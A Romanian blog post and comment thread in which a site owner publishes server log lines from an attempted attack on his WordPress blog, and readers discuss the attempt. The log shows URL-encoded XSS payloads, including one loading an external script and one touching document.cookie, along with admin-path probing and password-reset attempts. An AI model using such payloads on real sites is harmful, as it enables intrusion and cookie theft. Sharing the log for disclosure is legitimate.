Octav.Name hacked?
Cineva a incercat azi sã spargã siteul… Iatã mai jos câteva detaliile tehnice:
IP / Hostname: 77.23.126.36 ( 77-23-126-36-dynip.superkabel.de )
Browser Agent: “Mozilla/5.0 (X11; U; Linux i686; ro; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5“
[14:11:27] “GET /?s=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E&x=0&y=0 HTTP/1.1″
[14:12:14] “GET /?s=%3CSCRIPT%2FSRC%3D%22http%3A%2F%2Fha.ckers.org%2Fxss.js%22%3E%3C%2FSCRIPT%3E&x=0&y=0 HTTP/1.1″
[14:12:34] “GET /?s=%22%3Cscript%3Ealert(123)%3C/script%3E HTTP/1.1″
[14:13:53] “POST /wp-comments-post.php HTTP/1.1″
[14:14:06] “GET /admin HTTP/1.1″
[14:14:16] “GET /_admin HTTP/1.1″
[14:14:33] “GET /phpmyadmin HTTP/1.1″
[14:15:23] “GET /wp-admin HTTP/1.1″
[14:15:25] “GET /wp-admin/ HTTP/1.1″
[14:15:26] “GET /wp-login.php?redirect_to=http%3A%2F%2Fwww.octav.name%2Fwp-admin%2F HTTP/1.1″
[14:16:05] “GET /wp-admin/templates.php?file=%3Cimg%20src=%27%27onerror=javascript:alert(document.cookie);%3E HTTP/1.1″
[14:16:43] “GET /wp-login.php?redirect_to=http%3A%2F%2Fwww.octav.name%2Fwp-admin%2F HTTP/1.1″
[14:16:49] “GET /wp-login.php?action=lostpassword HTTP/1.1″
[14:16:59] “POST /wp-login.php?action=lostpassword HTTP/1.1″
[14:17:00] “GET /wp-login.php?checkemail=confirm HTTP/1.1″
[14:17:26] “POST /wp-login.php?action=lostpassword HTTP/1.1″
[14:17:26] “GET /wp-login.php?checkemail=confirm HTTP/1.1″
Am doar o vorba pentru atacator: FUCK OFF!
Loading ...
bine ca nu i-a reusit
eu zic ca firma de hosting face minuni
preferata mea
nu prea are legatura spatiul.ro la faza asta dar na
as minti daca as zice ca inteleg ce ai scris
oricum 
spor si la urmatorul ..”atac”
BIG FAT LOL! “hacked”!! LOL..cuvantul potrivit..ai auzit vreodata de XSS (Cross Side Scripting)? in fine.. pot sa-ti zic ca site-ul tau (ma refer la wordpress) e imun impotriva XSS…
lol..nu mai pot..”hacked”!!!
pai ba nenea “hackerul” cu ip 77.23.126.36
la ce ai mai verificat siteul pt XSS daca stiai ca wordpress nu “pica” la asa ceva? ai incercat tu sa’mi resetezi parola (de 2 ori) si cam atat 
hmmm..deorece lucrurile astea le fac in fiecare zi. it’s my daily business!
whatever.. si-asa nu prea am incredere in wordpress.. am folosit si eu candva WP, dar am avut parte de prea multe “escapade” in privinta “security”.. momentan folosesc drupal (drupal.org). ti-l l-as indica si tie. but it’s your choice! 
Daca aveam nevoie de Joomla sau Drupal, as fi folosit. WordPress este exact ceea ce am nevoie.
PS: nici Drupal nu e perfect:
http://www.milw0rm.org/related.php?program=Drupal
hehe.. “sigur” e un termen relativ.. daca gasesti xploits pt un sistem oarecare, nu inseamna automat ca sistemul respectiv este si vulnerabil. intrebarea mai interesanta e cum si cand maintenarii se ocupa de security patches etc.
si te rog nu compara joomla cu drupal
nu difama drupal in felul asta 
@victor: apropo, http://www.octav.name/2009/02/xss-in-siteul-fujitsu-siemens.html
PS: stiu si eu cu ce se mananca XSS si SQL injection, vezi:
http://www.hackersblog.org/2009/02/10/reactii/#comment-823
http://www.hackersblog.org/2009/03/08/valoarea-ta-xssul-meu/#comment-1428